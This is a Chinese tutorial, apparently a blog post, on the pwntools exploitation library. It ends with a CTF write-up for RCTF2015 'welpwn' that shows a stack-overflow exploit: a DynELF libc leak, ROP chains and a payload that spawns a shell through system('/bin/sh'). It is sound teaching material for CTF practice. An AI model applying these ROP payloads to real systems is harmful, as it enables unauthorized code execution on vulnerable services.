Pwntools安裝,一條指令就能搞定
pip install --upgrade pwntools
安裝完畢後在python環境下隻需使用
from pwn import *
即可導入
這會将大量的功能導入到全局命名空間,然後我們就可以直接使用單一的函數進行彙編、反彙編、pack,unpack等操作。
常用的子產品有下面幾個:
asm : 彙編與反彙編,支援x86/x64/arm/mips/powerpc等基本上所有的主流平台
dynelf : 用于遠端符号洩漏,需要提供leak方法
elf : 對elf檔案進行操作
gdb : 配合gdb進行調試
memleak : 用于記憶體洩漏
shellcraft : shellcode的生成器
tubes : 包括tubes.sock, tubes.process, tubes.ssh, tubes.serialtube,分别适用于不同場景的PIPE
utils : 一些實用的小功能,例如CRC計算,cyclic pattern等
Tubes讀寫接口
這是exploit最為基礎的部分,對于一次攻擊而言前提就是與目标伺服器或者程式進行互動,這裡就可以使用remote(address, port)産生一個遠端的socket然後就可以讀寫了
先來看看pwntools建立連接配接的功能
現在一台kali上開啟ftp服務
然後在安裝了pwntools的機器上使用如下指令進行連接配接
這裡是模拟了使用anonymous使用者登入ftp服務的場景
pwntools還有建立監聽器的功能,如下所示
上圖中是自動監聽41375端口,然後模仿發送hello消息,然後使用recv()進行接收。
通過pwnlib.tubes.process可以與程序進行互動
上圖中是與/bin/sh進行互動,列印hello world
我們不單單可以通過程式設計的方式事先寫好與程序互動的邏輯,還可以直接與程序互動
上圖中通過interactive()進入了互動模式
無論哪種PIPE都是繼承tube而來,可以用于讀寫函數主要有:
interactive() : 直接進行互動,相當于回到shell的模式,在取得shell之後使用
recv(numb=4096, timeout=default) : 接收指定位元組
recvall() : 一直接收直到EOF
recvline(keepends=True) : 接收一行,keepends為是否保留行尾的\n
recvuntil(delims, drop=False) : 一直讀到delims的pattern出現為止
recvrepeat(timeout=default) : 持續接受直到EOF或timeout
send(data) : 發送資料
sendline(data) : 發送一行資料,相當于在資料末尾加\n
彙編與反彙編
使用asm進行彙編
使用disasm進行反彙編
shellcode生成器
使用shellcraft可以生成對應的架構的shellcode代碼,直接使用鍊式調用的方法就可以得到
如上所示,如果需要在64位的Linux上執行/bin/sh就可以使用shellcraft.amd64.linux.sh(),配合asm函數就能夠得到最終的pyaload了。
除了直接執行sh之外,還可以進行其它的一些常用操作例如提權、反向連接配接等等
0x02
elf檔案操作
在進行elf檔案逆向的時候,總是需要對各個符号的位址進行分析,elf子產品提供了一種便捷的方法能夠迅速的得到檔案内函數的位址,plt位置以及got表的位置
下圖分别是列印檔案裝載的基位址、函數位址、GOT表的位址、PLT表的位址
其他可用的函數還包括:
asm(address, assembly) : 在指定位址進行彙編
bss(offset) : 傳回bss段的位置,offset是偏移值
checksec() : 對elf進行一些安全保護檢查,例如NX, PIE等。
disasm(address, n_bytes) : 在指定位置進行n_bytes個位元組的反彙編
offset_to_vaddr(offset) : 将檔案中的偏移offset轉換成虛拟位址VMA
vaddr_to_offset(address) : 與上面的函數作用相反
read(address, count) : 在address(VMA)位置讀取count個位元組
write(address, data) : 在address(VMA)位置寫入data
section(name) : dump出指定section的資料
ROP鍊生成器
回顧一下ROP的原理,由于NX開啟不能在棧上執行shellcode,我們可以在棧上布置一系列的傳回位址與參數,這樣可以進行多次的函數調用,通過函數尾部的ret語句控制程式的流程,而用程式中的一些pop/ret的代碼塊(稱之為gadget)來平衡堆棧。其完成的事情無非就是放上/bin/sh,覆寫程式中某個函數的GOT為system的,然後ret到那個函數的plt就可以觸發system(’/bin/sh’)。由于是利用ret指令的exploit,是以叫Return-Oriented Programming。
這種技術的難點自然就是如何在棧上布置傳回位址以及函數參數。而pwntools的ROP子產品的作用,就是自動地尋找程式裡的gadget,自動在棧上部署對應的參數。
使用ROP(elf)來産生一個rop的對象,這時rop鍊還是空的,需要在其中添加函數
ROP對象實作了__getattr__的功能,可以直接通過func call的形式來添加函數,rop.read(0, elf.bss(0x80))實際相當于rop.call(‘read’, (0, elf.bss(0x80)))。 通過多次添加函數調用,最後使用str将整個rop chain dump出來就可以了。
其他常用函數包括:
call(resolvable, arguments=()) : 添加一個調用,resolvable可以是一個符号,也可以是一個int型位址,注意後面的參數必須是元組否則會報錯,即使隻有一個參數也要寫成元組的形式(在後面加上一個逗号)
chain() : 傳回目前的位元組序列,即payload
dump() : 直覺地展示出目前的rop chain
raw() : 在rop chain中加上一個整數或字元串
search(move=0, regs=None, order=’size’) : 按特定條件搜尋gadget,沒仔細研究過
unresolve(value) : 給出一個位址,反解析出符号
另外,對于整數的pack與資料的unpack,可以使用p32,p64,u32,u64這些函數,分别對應着32位和64位的整數
接下來我們使用pwntools實戰CTF題目
題目來自RCTF2015,名為welpwn
先看看程式的基本資訊
可以知道,這是64位linux下的二進制程式,無cookie
通過IDA靜态分析
main函數如下
僞碼
read()函數讀取位元組數為0x400,即十進制的1024,即read()讀取1024個位元組的資料,随後調用echo()
定位到echo()
可以看到echo函數的棧幀大小為20h
echo的僞碼
可以知道,echo函數中存在循環指派,循環的次數為read函數讀的資料的長度
由于echo函數的棧桢大小(20h)遠小于read函數可以讀取的資料長度(400h),在進行循環指派的時候,echo函數儲存在棧中的傳回位址會被覆寫。
整個程式邏輯是這樣的,main函數中,使用者可以輸入1024個位元組,并通過echo函數将輸入複制到自身棧空間,但該棧空間很小,使得棧溢出成為可能。由于複制過程中,以“x00”作為字元串終止符,故如果我們的payload中存在這個字元,則不會複制成功;但實際情況是,因為welpwn的NX為enabled,即設定了棧不可執行,是以我們需要構造ROP鍊,這樣肯定會在payload中包含“x00”字元。
那麼怎麼繞過這個障礙呢?
由于echo函數的棧空間很小,與main函數棧中的輸入字元串之間隻間隔32位元組(0x20h),故我們可以隻複制過去24位元組資料加上一個包含連續4個pop指令的gadget位址(8位元組),并借助這個gadget跳過原字元串的前32位元組資料,即可進入我們正常的通用gadget調用過程
繞過這個障礙後,解題思路就很清晰了:
洩露libc,擷取system,gets等函數位址
構造gets(bss);将’/bin/sh’寫入bss段
構造’system("/bin/sh")'得到shell
使用ROPgadgets尋找gadgets,用于構造ROP鍊
找到main函數位址,用作傳回位址
bss段開始位址,用于存儲字元串(‘/bin/sh’)
puts(plt)位址,用于洩露記憶體
構造ROP鍊,洩露記憶體
rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
payload = “A” * 24 + p64(ppppr) + rop
利用pwnlib中DynELF子產品洩露libc中system和puts位址
def leak(addr):
rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
payload = “A” * 24 + p64(ppppr) + rop
p.sendline(payload)
p.recv(27)
tmp = p.recv()
data = tmp.split("\nWelcome")[0]
if len(data):
return data
else:
return ‘\x00’
d = DynELF(leak, elf=ELF(‘welpwn’))
system = d.lookup(‘system’, ‘libc’)
gets = d.lookup(‘gets’, ‘libc’)
構造ROP鍊将’/bin/sh’寫入bss段,并執行system("/bin/sh"):
rop = p64(poprdi) + p64(bss) + p64(gets) + p64(poprdi) + p64(bss) + p64(system) + p64(0xdeadbeef)
payload = “A”*24 + p64(ppppr) + rop
完整代碼在1.py
運作後如圖所示
拿到shell